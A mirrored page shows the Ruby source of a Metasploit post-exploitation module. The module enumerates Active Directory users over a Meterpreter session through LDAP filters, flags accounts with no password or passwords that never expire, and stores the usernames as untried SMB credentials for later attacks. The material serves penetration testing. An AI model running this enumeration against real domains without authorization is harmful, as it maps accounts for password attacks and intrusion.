Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

enum_ad_users.rb 7.0KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'rex'
  6. require 'msf/core'
  7. class MetasploitModule < Msf::Post
  8. include Msf::Auxiliary::Report
  9. include Msf::Post::Windows::LDAP
  10. include Msf::Post::Windows::Accounts
  11. UAC_DISABLED = 0x02
  12. USER_FIELDS = ['sAMAccountName',
  13. 'name',
  14. 'userPrincipalName',
  15. 'userAccountControl',
  16. 'lockoutTime',
  17. 'mail',
  18. 'primarygroupid',
  19. 'description'].freeze
  20. def initialize(info = {})
  21. super(update_info(
  22. info,
  23. 'Name' => 'Windows Gather Active Directory Users',
  24. 'Description' => %{
  25. This module will enumerate user accounts in the default Active Domain (AD) directory and stores
  26. them in the database. If GROUP_MEMBER is set to the DN of a group, this will list the members of
  27. that group by performing a recursive/nested search (i.e. it will list users who are members of
  28. groups that are members of groups that are members of groups (etc) which eventually include the
  29. target group DN.
  30. },
  31. 'License' => MSF_LICENSE,
  32. 'Author' => [
  33. 'Ben Campbell',
  34. 'Carlos Perez <carlos_perez[at]darkoperator.com>',
  35. 'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'
  36. ],
  37. 'Platform' => [ 'win' ],
  38. 'SessionTypes' => [ 'meterpreter' ]
  39. ))
  40. register_options([
  41. OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]),
  42. OptBool.new('EXCLUDE_LOCKED', [true, 'Exclude in search locked accounts..', false]),
  43. OptBool.new('EXCLUDE_DISABLED', [true, 'Exclude from search disabled accounts.', false]),
  44. OptString.new('ADDITIONAL_FIELDS', [false, 'Additional fields to retrieve, comma separated', nil]),
  45. OptString.new('FILTER', [false, 'Customised LDAP filter', nil]),
  46. OptString.new('GROUP_MEMBER', [false, 'Recursively list users that are effectve members of the group DN specified.', nil]),
  47. OptEnum.new('UAC', [true, 'Filter on User Account Control Setting.', 'ANY',
  48. [
  49. 'ANY',
  50. 'NO_PASSWORD',
  51. 'CHANGE_PASSWORD',
  52. 'NEVER_EXPIRES',
  53. 'SMARTCARD_REQUIRED',
  54. 'NEVER_LOGGEDON'
  55. ]])
  56. ], self.class)
  57. end
  58. def run
  59. @user_fields = USER_FIELDS.dup
  60. if datastore['ADDITIONAL_FIELDS']
  61. additional_fields = datastore['ADDITIONAL_FIELDS'].gsub(/\s+/, "").split(',')
  62. @user_fields.push(*additional_fields)
  63. end
  64. max_search = datastore['MAX_SEARCH']
  65. begin
  66. q = query(query_filter, max_search, @user_fields)
  67. rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e
  68. # Can't bind or in a network w/ limited accounts
  69. print_error(e.message)
  70. return
  71. end
  72. if q.nil? || q[:results].empty?
  73. print_status('No results returned.')
  74. else
  75. results_table = parse_results(q[:results])
  76. print_line results_table.to_s
  77. if datastore['STORE_LOOT']
  78. stored_path = store_loot('ad.users', 'text/plain', session, results_table.to_csv)
  79. print_status("Results saved to: #{stored_path}")
  80. end
  81. end
  82. end
  83. def account_disabled?(uac)
  84. (uac & UAC_DISABLED) > 0
  85. end
  86. def account_locked?(lockout_time)
  87. lockout_time > 0
  88. end
  89. # Takes the results of LDAP query, parses them into a table
  90. # and records and usernames as {Metasploit::Credential::Core}s in
  91. # the database.
  92. #
  93. # @param [Array<Array<Hash>>] the LDAP query results to parse
  94. # @return [Rex::Text::Table] the table containing all the result data
  95. def parse_results(results)
  96. domain = datastore['DOMAIN'] || get_domain
  97. domain_ip = client.net.resolve.resolve_host(domain)[:ip]
  98. # Results table holds raw string data
  99. results_table = Rex::Text::Table.new(
  100. 'Header' => "Domain Users",
  101. 'Indent' => 1,
  102. 'SortIndex' => -1,
  103. 'Columns' => @user_fields
  104. )
  105. results.each do |result|
  106. row = []
  107. result.each do |field|
  108. if field.nil?
  109. row << ""
  110. else
  111. row << field[:value]
  112. end
  113. end
  114. username = result[@user_fields.index('sAMAccountName')][:value]
  115. uac = result[@user_fields.index('userAccountControl')][:value]
  116. lockout_time = result[@user_fields.index('lockoutTime')][:value]
  117. store_username(username, uac, lockout_time, domain, domain_ip)
  118. results_table << row
  119. end
  120. results_table
  121. end
  122. # Builds the LDAP query 'filter' used to find our User Accounts based on
  123. # criteria set by user in the Datastore.
  124. #
  125. # @return [String] the LDAP query string
  126. def query_filter
  127. inner_filter = '(objectCategory=person)(objectClass=user)'
  128. inner_filter << '(!(lockoutTime>=1))' if datastore['EXCLUDE_LOCKED']
  129. inner_filter << '(!(userAccountControl:1.2.840.113556.1.4.803:=2))' if datastore['EXCLUDE_DISABLED']
  130. inner_filter << "(memberof:1.2.840.113556.1.4.1941:=#{datastore['GROUP_MEMBER']})" if datastore['GROUP_MEMBER']
  131. inner_filter << "(#{datastore['FILTER']})" if datastore['FILTER'] != ""
  132. case datastore['UAC']
  133. when 'ANY'
  134. when 'NO_PASSWORD'
  135. inner_filter << '(userAccountControl:1.2.840.113556.1.4.803:=32)'
  136. when 'CHANGE_PASSWORD'
  137. inner_filter << '(!sAMAccountType=805306370)(pwdlastset=0)'
  138. when 'NEVER_EXPIRES'
  139. inner_filter << '(userAccountControl:1.2.840.113556.1.4.803:=65536)'
  140. when 'SMARTCARD_REQUIRED'
  141. inner_filter << '(userAccountControl:1.2.840.113556.1.4.803:=262144)'
  142. when 'NEVER_LOGGEDON'
  143. inner_filter << '(|(lastlogon=0)(!lastlogon=*))'
  144. end
  145. "(&#{inner_filter})"
  146. end
  147. def store_username(username, uac, lockout_time, realm, domain_ip)
  148. service_data = {
  149. address: domain_ip,
  150. port: 445,
  151. service_name: 'smb',
  152. protocol: 'tcp',
  153. workspace_id: myworkspace_id
  154. }
  155. credential_data = {
  156. origin_type: :session,
  157. session_id: session_db_id,
  158. post_reference_name: refname,
  159. username: username,
  160. realm_value: realm,
  161. realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
  162. }
  163. credential_data.merge!(service_data)
  164. # Create the Metasploit::Credential::Core object
  165. credential_core = create_credential(credential_data)
  166. if account_disabled?(uac.to_i)
  167. status = Metasploit::Model::Login::Status::DISABLED
  168. elsif account_locked?(lockout_time.to_i)
  169. status = Metasploit::Model::Login::Status::LOCKED_OUT
  170. else
  171. status = Metasploit::Model::Login::Status::UNTRIED
  172. end
  173. # Assemble the options hash for creating the Metasploit::Credential::Login object
  174. login_data = {
  175. core: credential_core,
  176. status: status
  177. }
  178. login_data[:last_attempted_at] = DateTime.now unless (status == Metasploit::Model::Login::Status::UNTRIED)
  179. # Merge in the service data and create our Login
  180. login_data.merge!(service_data)
  181. create_credential_login(login_data)
  182. end
  183. end